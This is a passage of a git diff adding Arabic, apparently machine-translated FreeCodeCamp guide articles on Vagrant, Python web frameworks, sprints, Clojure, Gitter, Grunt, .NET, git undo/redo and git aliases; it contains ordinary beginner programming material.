+### ماذا لو لم يعمل هذا بالنسبة لي؟
+
+الرجاء إخبارنا في " [مساعدة الدردشة"](https://gitter.im/FreeCodeCamp/Help) ، سنحاول قصارى جهدنا لإيجاد حل بديل.
+
+#### _تنصل_
+
+**_لا يعتمد FreeCodeCamp أيًا من البرامج المذكورة في هذه المقالة ، يرجى استخدامها وفقًا لتقديرك الخاص. قد يتتبع بعض عملاء VPN نشاطك ، كما قد تكون هناك آثار جانبية مثل السرعة البطيئة أو تأخير تحميل الصفحة._**
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/using-vagrant-for-your-work-envirioment/index.md b/client/src/guide/arabic/miscellaneous/using-vagrant-for-your-work-envirioment/index.md
new file mode 100644
index 0000000000..9f47a9eb5f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/using-vagrant-for-your-work-envirioment/index.md
@@ -0,0 +1,53 @@
+---
+title: Using Vagrant for Your Work Envirioment
+localeTitle: باستخدام Vagrant لعملك Envirioment
+---
+ستساعدك التعليمات التالية في تثبيت البرامج الضرورية وكذلك كيفية إعداد أول Vagrant و Virtual Box.
+
+## التركيب
+
+هذا سيخلق بيئة عمل حتى تتمكن من اختبار موقع الويب الخاص بك على جهازك المحلي. يمكن تهيئة **Vagrantfile لبيئتك** المحددة بحيث يمكن لأي شخص يعمل معك إجراء التغييرات **ورؤيتها** بغض النظر عما إذا كان يستخدم Linux أو Mac OS X أو Windows. باستخدام هذه البيئة الافتراضية ، ستتمكن من مشاهدة البرامج النصية لـ PHP الخاصة بك ، وبناء قواعد البيانات الخاصة بك والعمل بها ، وأكثر من ذلك بكثير. لذلك ، دون مزيد من أو القيام به ، دعونا نبدأ في العمل.
+
+تحقق من الروابط التالية وقم بتثبيت كل برنامج. تأكد من أنه يتطابق مع نظام التشغيل الخاص بك (نظام التشغيل).
+
+*   [صندوق الظاهري](https://www.virtualbox.org/)
+*   [المتشرد](https://www.vagrantup.com/downloads.html)
+*   [جيت باش ، غوي ، والقيادة](https://git-scm.com/downloads)
+
+والآن بعد أن تم تثبيت البرامج اللازمة لدينا ، دعنا نبدأ العمل.
+
+لدى **Git** العديد من البرامج المختلفة التي يمكننا استخدامها هنا. دعونا نفتح **بوابة Git** . يمكننا أيضًا بدء تشغيل **Virtual Box** حتى نتمكن من رؤية المربع قيد التشغيل.
+
+بمجرد تشغيل **Git GUI** ، سترى عدة خيارات. دعونا تحديد الخيار العلوي ، **"إنشاء مستودع جديد"** .
+
+حدد الزر **"استعراض"** وحدد محرك الأقراص الذي تريد تثبيت وتشغيل الجهاز / الخادم الظاهري من. يمكنك النقر بزر الماوس الأيمن في منطقة المجلد وإنشاء مجلد جديد. دعنا **نسميها FreeCodeCampMachine** .
+
+الآن ، سترى **Git Gui** وبجوار Directory ، يجب أن تشاهد **C: / FreeCodeCampMachine** .
+
+في الجزء السفلي ، حدد الزر الذي يشير إلى **"إنشاء"** .
+
+الآن تبدو الواجهة مختلفة. لا تقلق بشأن أيٍّ من الأزرار في الأسفل أو تفزع حول جميع الخيارات في الجزء العلوي. نريد أن نعمل على شيء واحد. حدد الخيار في الجزء العلوي الأيمن الذي يقول **"مستودع"** ، ثم تحت هذا الخيار ، ستجد **"جيت باش"** . حدد **جيت باش** .
+
+الآن نرى أننا في نافذة طرفية / وحدة التحكم. يجب أن تشاهد اسم جهاز الكمبيوتر الخاص بك متبوعًا بـ **MINGW64 / d / FreeCodeCampMachine (الرئيسية)** . هذا ببساطة يقول نحن نعمل في المجلد الذي قمت بإنشائه وأنت في مستودع **الرئيسي** . سننشئ لاحقًا فرعًا ولكن دعنا قلقًا بشأن ذلك لاحقًا.
+
+الآن ، دعونا نلقي بعض الأوامر لأسفل ونحصل على الكرة. اكتب أولاً التالي واضغط على Enter:
+
+ `$ git clone https://github.com/scotch-io/scotch-box myProject 
+` 
+
+سيؤدي ذلك إلى إنشاء مجلد داخل الدليل باسم **"myProject"** . بعد ذلك ، لننتقل إلى هذا المجلد ، لذا أدخل الأوامر التالية واضغط على Enter:
+
+ `$ cd myProject 
+` 
+
+نحن الآن في المجلد الذي نريد أن نكون فيه. الآن اكتب ما يلي في سطر الأوامر واضغط على Enter:
+
+ `vagrant up 
+` 
+
+الآن ، دعونا نفتح نافذة متصفح وأدخل عنوان IP التالي:
+
+ `http://192.168.33.10/ 
+` 
+
+يجب أن تشاهد صفحة مقصودة لـ **Scotch Box** تخبرك بكل شيء موجود ومثبّت. الآن ، عندما تحفر الملف الذي أنشأته سابقًا ، ستجد واحدًا يقول **"عام"** . داخل هذا المجلد سترى ملفًا باسم **"index.php"** وهذا هو ما تراه للصفحة المقصودة. يمكنك تحرير هذا الملف باستخدام محرر نصوص ، وحفظه ، وتحديث المتصفح لمعرفة التغييرات التي أجريتها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/web-applications-using-python/index.md b/client/src/guide/arabic/miscellaneous/web-applications-using-python/index.md
new file mode 100644
index 0000000000..f54118c138
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/web-applications-using-python/index.md
@@ -0,0 +1,9 @@
+---
+title: Web Applications Using Python
+localeTitle: تطبيقات الويب باستخدام بايثون
+---
+تتم كتابة المواقع الأكثر شعبية مثل [يوتيوب](http://highscalability.com/youtube-architecture) ، [رديت](https://github.com/reddit/reddit) ، [إينستاجرام](http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances) ، [كورا](http://qr.ae/RUkZJd) ، [بينتيريست](http://qr.ae/RUkZOJ) ، [دروببوإكس](http://eranki.tumblr.com/post/27076431887/scaling-lessons-learned-at-dropbox-part-1) ، [Bitbucket](https://blog.bitbucket.org/2012/08/24/segregating-services/) الخ في بيثون. ربما تحصل على قائمة أكثر شمولية من خلال التحقيق بنفسك.
+
+من الواضح أن القائمة أعلاه ليست كاملة. ولكن قد يكون هذا وقتًا رائعًا لإرشادك إلى شيء ما - لن تكون كتابة النهاية الخلفية في Python _تلقائيًا_ لموقعك سريعًا وقابل للتوسع مثل YouTube. نستشهد بقائمة المواقع أعلاه للإشارة ببساطة إلى أن بايثون هي المفضلة لدى العديد من مهندسي البرمجيات في الصناعة ، لتطوير الويب.
+
+تعطيك بايثون كتل ليغو لبناء تطبيقات الويب القوية والقابلة للتطوير. يمكنك أيضًا الاستمتاع بسهولة كتابة وحدات Python أثناء بنائها. لكن السلاح هو فقط قوي مثل سيده. إذا كنت لا تعرف كيف تمارسها ، فربما ينتهي بك الأمر إلى تصوير نفسك في القدم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/web-frameworks-in-python/index.md b/client/src/guide/arabic/miscellaneous/web-frameworks-in-python/index.md
new file mode 100644
index 0000000000..ff0424df39
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/web-frameworks-in-python/index.md
@@ -0,0 +1,7 @@
+---
+title: Web Frameworks in Python
+localeTitle: أطر الويب في بيثون
+---
+مثل معظم المجالات في تطوير بايثون ، يعامل مجتمع بايثون تطوير الويب بعاطفة كبيرة ، وقد أعطانا أطرا نضجت وأحسن صيانتها. من تعقيد متفاوت.
+
+لدينا أطر صغيرة مثل [قارورة](http://flask.pocoo.org/) ، [زجاجة](http://bottlepy.org/docs/dev/index.html) . لدينا أيضًا إطارات مثل [Django](https://www.djangoproject.com/) ، والتي تأتي مزودة [ببطاريات](https://github.com/rosarior/awesome-django) . يمكنك العثور على قائمة كاملة بأطر الإنترنت ، مكتوبة في Python ، [هنا](https://en.wikipedia.org/wiki/Comparison_of_web_frameworks#Python) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/web-resources-for-your-learning/index.md b/client/src/guide/arabic/miscellaneous/web-resources-for-your-learning/index.md
new file mode 100644
index 0000000000..ed866a9e3e
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/web-resources-for-your-learning/index.md
@@ -0,0 +1,20 @@
+---
+title: Web Resources for Your Learning
+localeTitle: موارد الويب لتعلمك
+---
+روابط مفيدة لمساعدتك في التعلم والمشاريع الخاصة بك.
+
+## الروابط
+
+*   [دليل مجال الويب](http://webfieldmanual.com)
+
+## التصحيح
+
+*   [عقدة مفتش](https://www.npmjs.com/package/node-inspector)
+*   [بين قوسين لايف معاينة](http://brackets.io)
+*   [متصفح المزامنة](http://www.browsersync.io)
+
+## الأدوات والموارد
+
+*   [محلل لون التباين](http://wave.webaim.org/report#/google.com)
+*   [أنماط الألوان](http://colorlovers.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/what-is-a-sprint/index.md b/client/src/guide/arabic/miscellaneous/what-is-a-sprint/index.md
new file mode 100644
index 0000000000..5ae0e16a12
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/what-is-a-sprint/index.md
@@ -0,0 +1,23 @@
+---
+title: What Is a Sprint
+localeTitle: ما هو العدو
+---
+**السرعة** هي فترة زمنية محددة مقسمة من الجدول الزمني العام للمشروع مع المهام المرتبطة التي يجب إكمالها خلال تلك الفترة الزمنية. تتم الإشارة إلى قائمة المهام هذه باسم _تراكم منتج_ Sprint.
+
+تسمح الأيدلوجية وراء _العدو_ بسرعة تقسيم جدول زمني أكبر إلى أجزاء أصغر وأكثر قابلية للهضم من أجل تركيز الجهد من جميع أصحاب المصلحة على بعض المهام المجدولة منطقياً في كل مرة.
+
+يجب قبول جميع المستلمين من العدو من قبل أصحاب المصلحة الرئيسيين قبل الانتقال إلى العدو القادم ، وسيتضمن المشروع سباقات متعددة حتى يتم تحقيق النطاق.
+
+في معظم الحالات ، يبدأ _السباق_ باجتماع تخطيط حيث يلتقي الشخص أو الأشخاص الذين يطلبون العمل مع المطورين من أجل تحديد العمل الذي يمكن إنجازه بشكل واقعي خلال الفترة الزمنية ، أو العدو ، الذي تتم مناقشته. سيكون للمطوّر عمومًا الكلمة الأخيرة حول ما سيتم إنجازه خلال السباق.
+
+في بعض المؤسسات ، سيتم الإشراف على هذه الاجتماعات إما من خلال Scrum Master أو مدير المشروع من أجل ضمان أن الهدف الإجمالي للمشروع قد تم تحقيقه بعد اكتمال جميع عمليات السباقات.
+
+تدوم سباقات السرعة ، في المتوسط ​​، ما يصل إلى 30 يومًا أو أقل من 7 أيام اعتمادًا على حجم المشروع ، وعدد المهام المراد إكمالها ، وعدد الموارد المتاحة للعمل على مهام العدو.
+
+بالإضافة إلى ذلك ، في بعض الشركات سوف يجتمع المطورون يوميًا لمناقشة تقدم المشروع واحتياجاته وحواجزه. يشار إلى هذه الاجتماعات أحيانًا باسم اجتماع SCRUM أو اجتماع اجتماعي يومي. يتم دعوة الشخص أو الأشخاص في بعض الأحيان للاستماع إلا أنهم في الحضور كمراقبين فقط.
+
+![sprint schedule](https://i.imgur.com/l8EAw1L.png "سبيل المثال من الجدول سبرينت")
+
+ما سبق هو مثال على خطة العدو التي وضعت في ستة سباقات 30 يوم. يمكنك أن ترى أن هناك سبرينت ديف في كل من سباقات السرعة الستة ولكن من سبرينت 2 على شيء ما المسمى **زيادة # سبرينت** .
+
+إن Sprint Dev هو تمثيل للتطور المستمر خلال هذا العدو بينما Sprint Increment هي مجموع كل بنود تراكم المنتجات التي تم إكمالها في العدو الحالي وجميع عمليات السباقات السابقة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/what-is-clojure/index.md b/client/src/guide/arabic/miscellaneous/what-is-clojure/index.md
new file mode 100644
index 0000000000..9d570e5eda
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/what-is-clojure/index.md
@@ -0,0 +1,44 @@
+---
+title: What Is Clojure
+localeTitle: ما هو كلوور
+---
+## Clojure هي لهجة من Lisp.
+
+Lisps هي عائلة منفصلة تمامًا من اللغات إلى لغات C-like مثل C # أو Javascript أو Python أو Ruby. هذا يعني أن ليزبس قد تبدو غريبة بالنسبة للمبرمجين الذين هم أكثر دراية بهذه اللغات. أساسا ، كونه لسب يعني أن كل شيء في Clojure هو عبارة عن قائمة تحتوي على بيانات (حتى مكالمات الدالة!) ، فإنه يحتوي على كتابة ديناميكية ، ويمكنك تحديد _وحدات الماكرو_ التي تسمح لك بمعالجة التعليمة البرمجية الخاصة بك. إليك مثال بسيط عن بعض Clojure التي يمكنك دراستها:
+
+ `   (defn hello-world [] (println "Hello world!")) 
+` 
+
+هذا يحدد وظيفة (باستخدام الماكرو `defn` ) تسمى `hello-world` لا يأخذ أي إدخال ( `[]` ) ويطبع `"Hello world!"` إلى وحدة التحكم. يمكننا أن نسميها كما يلي:
+
+ `   (hello-world) 
+   ; => Hello world! 
+   ;    nil 
+` 
+
+## Clojure هي لغة وظيفية.
+
+جميع المتغيرات في Clojure غير قابلة للتغيير ، ولا يمكن تغييرها باستخدام عامل تعيين ( `=` في معظم لغات C-like) أو بواسطة وظيفة. تهدف جميع الوظائف إلى أن تكون _شفافة بشكل مرجعي_ ، مما يعني أنه إذا أعطيتهم نفس المدخلات ، فعليهم إعطاء نفس الناتج مهما كان. المثال `hello-world` المرحب أعلاه هو شفاف بشكل مرجعي - سيطبع دائمًا "مرحباً بالعالم!" لا يهم ماذا. شيء ما يعتمد على مولد رقم عشوائي غير شفاف بشكل مرجعي ، لأن ناتجها عشوائي.
+
+ `  (defn random-function [] 
+    (if (> (rand 4) 2)     ; if a random number between 0 and 2 is greater than 2... 
+      (println "foo")      ; ...print "foo". otherwise... 
+      (println "bar")))    ; ...print "bar" 
+` 
+
+على الرغم من أن عدم القدرة على تغيير المتغيرات قد يبدو مروعًا ، إلا أنه أسهل بكثير مما تعتقد ، خاصة إذا كانت اللغة مبنية حوله (مثل Clojure is!) ، ويمكن أن يؤدي تجنب التحور غير الضروري إلى جعل الكود أقل كثيرًا.
+
+## Clojure يعمل على Java Virtual Machine.
+
+JVM هو الجهاز الظاهري الذي يفسر جافا bytecode ويستخدمه لتشغيل البرنامج. هذا يعني أن Clojure يعمل بسلاسة تامة مع الكود المصمم لجافا (على الرغم من أنه يبدو غريبا بعض الشيء) ، وهذا يعني أيضا أنه يعمل بسرعة كبيرة مقارنة مع اللسب الأخرى. في حين أنه أبطأ قليلاً من Java ، فإنه لا يزال أسرع بكثير من Python أو Ruby أو Javascript.
+
+ `  (.indexOf [1 2 3 4] 2) ;; .indexOf is a Java method! 
+  ; => 1 
+` 
+
+## تم تصميم Clojure للتوافق.
+
+يعني "التزامن" هنا "برنامجًا واحدًا يعمل على عدة سلاسل محادثات في وقت واحد" ، مما قد يجعل التعليمة البرمجية أسرع. ويمكن أيضا أن يجعل كود buggier الخاص بك ؛ تخيل لو كان هناك وظيفتين مختلفتين يتغيران ويقرأان من نفس الكائن في نفس الوقت! سيكون من الفوضى المطلقة. لحسن الحظ ، في Clojure ، المتغيرات هي غير قابلة للتغيير ، مما يعني أنه لا توجد فرصة لهذا النوع من الفوضى كسر فضفاضة. تحتوي اللغة أيضًا على مجموعة متنوعة من الميزات لتسهيل كتابة التعليمات البرمجية المتزامنة ، مثل نظام ذاكرة معاملات البرامج ، والوكلاء والذرات.
+
+| ![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-the-basics/18410) |  
+| | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [أساسيات](//forum.freecodecamp.com/t/clojure-the-basics/18410) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/what-is-gitter/index.md b/client/src/guide/arabic/miscellaneous/what-is-gitter/index.md
new file mode 100644
index 0000000000..4cf3b3fa64
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/what-is-gitter/index.md
@@ -0,0 +1,15 @@
+---
+title: What Is Gitter
+localeTitle: ما هو جيتر
+---
+# Gitter هو نظام غرفة دردشة شائع في مشاريع مفتوحة المصدر.
+
+![لقطة شاشة من Gitter](//discourse-user-assets.s3.amazonaws.com/original/2X/9/901b6ff18a83b746b1b7e96cb6907440d531d977.png)
+
+[Gitter.im](https://gitter.im) هي شركة ناشئة سريعة النمو مقرها في لندن.
+
+يحتوي Code Code على المئات من غرف Gitter. يمكن الوصول إليها من خلال موقع Gitter ، بالإضافة إلى [تطبيقات سطح المكتب والجوّال](https://gitter.im/apps) .
+
+يمكنك مشاهدة [جميع غرفنا](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Official-Free-Code-Camp-Chat-Rooms) والانضمام إلى [الغرف](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Official-Free-Code-Camp-Chat-Rooms) التي تريدها.
+
+يسمح لك Gitter بمشاركة [رمز منسق](https://github.com/FreeCodeCamp/freecodecamp/wiki/Pasting-Code-in-Gitter) مع زملائك المعسكر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/what-is-grunt/index.md b/client/src/guide/arabic/miscellaneous/what-is-grunt/index.md
new file mode 100644
index 0000000000..5d3b77ba74
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/what-is-grunt/index.md
@@ -0,0 +1,5 @@
+---
+title: What Is Grunt
+localeTitle: ما هو النخير
+---
+عندما تقوم بإنشاء مسار أو توجيه جديد ، يجب عليك استخدام `control+c` في نافذة terminal _grunt_ الخاصة بك لإنهاء عملية grunt وإعادة تشغيل `grunt serve` التوجيه / التوجيه الجديد الخاص بك في **index.html** الخاص **بمشروعك** . في بعض الأحيان يمكن أن يكون _نخر_ finnicky قليلا ويرفض تشغيل إذا كان يعتقد أن هناك خطأ ما مع المشروع الخاص بك. من الواضح أنك يجب أن تحاول إصلاح المشكلة ، لكن أخطاء المهنة ليست مفيدة جدًا ، لذا لا تقلق كثيرًا - فعادةً ما تستمر `grunt serve --force` بشكل جيد تمامًا مع القوة `grunt serve --force` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/what-is-the-net-framework/index.md b/client/src/guide/arabic/miscellaneous/what-is-the-net-framework/index.md
new file mode 100644
index 0000000000..b3594d92dc
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/what-is-the-net-framework/index.md
@@ -0,0 +1,15 @@
+---
+title: What Is the Net Framework
+localeTitle: ما هو صافي الإطار
+---
+![.NET](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7068b1111104197f2692a98aec00f388e09e9ab5.png)
+
+[.NET Framework](https://www.microsoft.com/net) أو ببساطة ، .NET هو إطار تشغيل متعدد الأغراض متعدد اللغات. تم إنشاؤها والمملوكة من قبل [مايكروسوفت](https://www.microsoft.com) .
+
+يحتوي على مكتبة فئة كبيرة ويدعم interpolability اللغة؛ ويعمل في المقام الأول على ويندوز.
+
+بدأت Microsoft تطوير .NET Framework في أواخر التسعينيات ، وبحلول العقد الأول من القرن العشرين. تم إصدار إصدار تجريبي. بخلاف تطوير Windows GUI وتطوير تطبيقات Windows Phone ؛ يتم استخدام .NET framework في تطوير الويب.
+
+وهو يعمل بسلاسة مع منصة استضافة [Microsoft Azure](https://azure.microsoft.com/en-us/) Cloud وقاعدة بيانات [SQL Server](https://www.microsoft.com/en-us/server-cloud/products/sql-server/) . يتيح برمجة جانب الخادم بعدة لغات مختلفة ؛ في الغالب في [C #](https://msdn.microsoft.com/en-us/library/67ef8sbd.aspx) .
+
+مع [MSDN](https://msdn.microsoft.com/en-us/default.aspx) كمجتمع غني بالمحتوى ، هناك الكثير من الإمكانيات والفوائد لاستخدام .NET لتطوير الويب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md b/client/src/guide/arabic/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md
new file mode 100644
index 0000000000..df5cedb805
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md
@@ -0,0 +1,15 @@
+---
+title: What to Do if You Speak a Language not Yet Supported by Free Code Camp
+localeTitle: ماذا تفعل إذا كنت تتحدث لغة ليست مدعومة من قبل Free Code Camp
+---
+الترجمة هي كل شيء أو لا شيء الاقتراح.
+
+لن نتمكن من إضافة لغات جديدة إلى Free Code Camp حتى تصل إلى جميع اللغات  
+يتم ترجمة التحديات إلى تلك اللغة.
+
+بالإضافة إلى ترجمة هذه في البداية ، سنحتاج أيضًا إلى الحفاظ عليها  
+يتم تحديث الترجمة والتحديات تدريجيا (نستخدم  
+نظام إصدار github للحفاظ على السجل).
+
+إذا كنت قادرًا على مساعدتنا ، فالرجاء الانضمام إلى [قناة gitter](https://gitter.im/FreeCodeCamp/Translators)  
+وقراءة [دليل الترجمة](http://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md b/client/src/guide/arabic/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md
new file mode 100644
index 0000000000..4df34bd9e1
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md
@@ -0,0 +1,20 @@
+---
+title: What You Will Learn at Free Code Camp in Order
+localeTitle: ما سوف تتعلم في مخيم رمز الحرة في النظام
+---
+*   [HTML5](https://developer.mozilla.org/en-US/docs/Web/HTML) - بنية صفحات الويب.
+*   [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) - النمط المرئي لصفحات الويب.
+*   [Bootstrap](http://getbootstrap.com/) - أداة "تصميم [سريع](http://getbootstrap.com/) الاستجابة" تساعد مواقعك على الظهور بشكل رائع على الأجهزة اللوحية والهواتف.
+*   [jQuery](https://jquery.com/) و [Ajax](https://developer.mozilla.org/en-US/docs/AJAX) - أدوات سهلة للتحكم في المحتوى في المتصفح.
+*   [JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript) - لغة البرمجة الواحدة التي تستخدمها جميع متصفحات الويب.
+*   [الخوارزميات](https://en.wikipedia.org/wiki/Algorithm) - وصفات خطوة بخطوة لإنجاز الأمور.
+*   [Git](https://git-scm.com/) - نظام التحكم في الإصدار لحفظ ومشاركة مشاريعك.
+*   [MongoDB](https://www.mongodb.org/) - قاعدة بيانات غير علائقية شعبية.
+*   [D3.js](http://d3js.org/) - مكتبة جافا سكريبت لإنشاء تصورات مرئية ديناميكية وتفاعلية في متصفحات الويب.
+*   [Express.js](http://expressjs.com/) - إطار تطوير ويب قوي.
+*   [Node.js](https://nodejs.org/) - منصة لإنشاء تطبيقات شبكة قابلة للتطوير.
+*   [SASS](http://sass-lang.com/) - لغة البرمجة النصية التي يتم تفسيرها في أوراق الأنماط المتتالية (CSS).
+*   [تطوير API](https://en.wikipedia.org/wiki/Application_programming_interface) - مجموعة من الإجراءات والبروتوكولات والأدوات لإنشاء البرامج والتطبيقات.
+*   [Agile](https://en.wikipedia.org/wiki/Agile_software_development) - مجموعة من مبادئ تطوير البرمجيات التي تركز على تصميم وإنتاج مشروع على احتياجات مستخدميها
+
+![](http://2.bp.blogspot.com/-CPfmVm56c7c/VTwEpZkHBtI/AAAAAAAAAks/0dEwiH-DjEE/s1600/curriculum-diagram-full.jpg%7Cwidth=600px)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/when-to-undoredo/index.md b/client/src/guide/arabic/miscellaneous/when-to-undoredo/index.md
new file mode 100644
index 0000000000..ff5520951b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/when-to-undoredo/index.md
@@ -0,0 +1,47 @@
+---
+title: When to Undoredo
+localeTitle: متى Undoredo
+---
+ستحتاج عادة إلى UNDO / REDO عند ارتكاب بعض التغييرات في git ، وإدراك أن التغييرات تحتاج إلى إزالتها أو استعادتها. هذا أمر شائع جدًا في السيناريوهات على سبيل المثال ، عند إجراء تغيير مؤقت على بعض الملفات ، ونسي أن تعود إليهم ، ثم شرع في إضافتها لارتكاب الخطأ.
+
+## سير عمل UNDO / REDO:
+
+بافتراض أنك أجريت بعض التغييرات وقدمت تعهدات مثل:
+
+ `git commit -m "Commit 1 - Some changes to the code" 
+ git commit -m "Commit 2 - Some MORE changes to the code" 
+` 
+
+1.  (UNDO-ing): العودة إلى الوراء على آخر استعادة `git reset --soft HEAD~`
+2.  _هل التغييرات._
+3.  أضف ملفاتك إلى gath area `git add <filenames or paths>` أو `git add --all`
+4.  (REDO-ing): هل ارتكبت. `git commit -c ORIG_HEAD` or `git commit -C ORIG_HEAD`
+
+## كيف يعمل هذا؟
+
+الآن بعد أن عرفت أن التدفق يتيح فهم كيفية عمل ذلك خلف الكواليس.
+
+1.  `Step 1` تعيد تعيين الالتزام الأخير أي `"Commit 2 - Some MORE..."` إلى `"Commit 1 - Some..."` ارتكاب.
+2.  في `Step 2` ، تقوم بالتغييرات التي تراها مناسبة للملفات.
+3.  في `Step 3` ، يمكنك إضافة الملفات التي تم تغييرها إلى منطقة التدريج إما بشكل انتقائي مع `git add <filenames>` أو كافة الملفات مع `git add --all` .
+4.  في الخطوة الأخيرة ، تلتزم بالتغييرات في منطقة التدريج.
+
+ملاحظة: يمكنك استخدام `-c` أو `-C` . سيعمل المصغر `-c` على فتح محرر لتعديل رسالة الالتزام ، وفي هذه الحالة سيتم `Commit 2 - Some MORE...` يمكنك تحرير رسالة الالتزام كما تريد.
+
+أو بدلاً من ذلك ، يمكنك استخدام `-C` ، حيث ستقوم بوابة git بتخطي نافذة المحرر وإعادة استخدام رسالة ارتكاب _LAST_ التي هي مرة أخرى في هذه الحالة هي `Commit 2 - Some MORE...`
+
+يُعرف إعادة استخدام رسالة الالتزام "نفسه" أيضًا بإعادة / إعادة الإلزام.
+
+## دون خشبة قبل ارتكاب
+
+للتراجع عن التغيير الذي تم إجراؤه قبل الالتزام ، قم بتشغيل `git reset <file>` أو `git reset` لإلغاء تثبيت كافة التغييرات قبل الالتزام.
+
+ملاحظة: في الإصدارات القديمة من git ، كانت الأوامر `git reset HEAD <file>` و `git reset HEAD` على التوالي. تم تغيير هذا في Git 1.8.2
+
+## بعض الحيل:
+
+يمكنك العودة إلى أي عدد من `git reset --soft HEAD~n` باستخدام `git reset --soft HEAD~n` حيث تريد التراجع عن `n` الأخيرة.
+
+## النسبة:
+
+تستند هذه المقالة إلى سؤال Stack Overflow [هنا](http://stackoverflow.com/questions/927358/how-do-you-undo-the-last-commit/927386#927386) [وهنا](http://stackoverflow.com/questions/348170/undo-git-add-before-commit/348234#348234) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/why-free-code-camp-left-slack/index.md b/client/src/guide/arabic/miscellaneous/why-free-code-camp-left-slack/index.md
new file mode 100644
index 0000000000..b917fa7880
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/why-free-code-camp-left-slack/index.md
@@ -0,0 +1,13 @@
+---
+title: Why Free Code Camp Left Slack
+localeTitle: لماذا حر مخيم رمز الركود
+---
+Slack هي خدمة غرف دردشة شعبية يتفوق عليها Free Code Camp
+
+![احصائيات الاستخدام المجاني من Code Code](//discourse-user-assets.s3.amazonaws.com/original/2X/d/da98adf7a036ae5bd8410b09c64f394d014694a0.png)
+
+بقدر ما استمتعت باستخدام هذه الخدمة ، فإنه لا يلائم المجتمعات الكبيرة مفتوحة المصدر. هذا ، العديد من المجتمعات مفتوحة المصدر لا تزال تستخدم سلاك ، و Slack لا يفعل شيئًا لإحباط هذه الممارسة.
+
+إذا كنت فضوليًا ، يمكنك أن تقرأ عن [إعلانات Slack الكاذبة وعن الانهيار الذي حدث في يونيو 2015](http://blog.freecodecamp.com/2015/06/so-yeah-we-tried-slack-and-we-deeply-regretted-it.html) .
+
+يستخدم Code Camp الآن [Gitter](https://github.com/FreeCodeCamp/freecodecamp/wiki/Gitter) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/wiki-git-aliases/index.md b/client/src/guide/arabic/miscellaneous/wiki-git-aliases/index.md
new file mode 100644
index 0000000000..a50f5a415f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/wiki-git-aliases/index.md
@@ -0,0 +1,11 @@
+---
+title: Wiki Git Aliases
+localeTitle: Wiki Git Aliases
+---
+بالنسبة لمعظم المطورين ، يتم إنفاق الكثير من وقتنا في Terminal ويتم صرف معظمه كتابة أوامر Git. لقد أنشأنا مجموعة من اختصارات لوحة المفاتيح مع الأسماء المستعارة Bash والوظائف لتسريع سير العمل الخاص بك وحفظ مئات من ضغطات المفاتيح كل يوم.
+
+تسمح لك Git بتعيين الأسماء المستعارة ولكنها محدودة ولا توفر لك سوى عدد قليل من ضغطات المفاتيح (أي بدلاً من git checkout يمكنك كتابة git co ، ولكن لا يزال عليك كتابة git). نظرًا لأن مترجم سطر الأوامر الافتراضي في Bash هو Terminal ، فيمكنك أيضًا تعيين الأسماء المستعارة لـ Bash لتقليل ضغطات المفاتيح بشكل أكبر.
+
+وهنا لائحة من الأسماء المستعارة جيت باش ووظائفها. لاستخدامها بنفسك ، قم فقط بإضافتها إلى الملف الذي تقوم بتخزين الأسماء المستعارة / الدوال فيه. (على `~/.bash_profile` أو `~/.bashrc` )
+
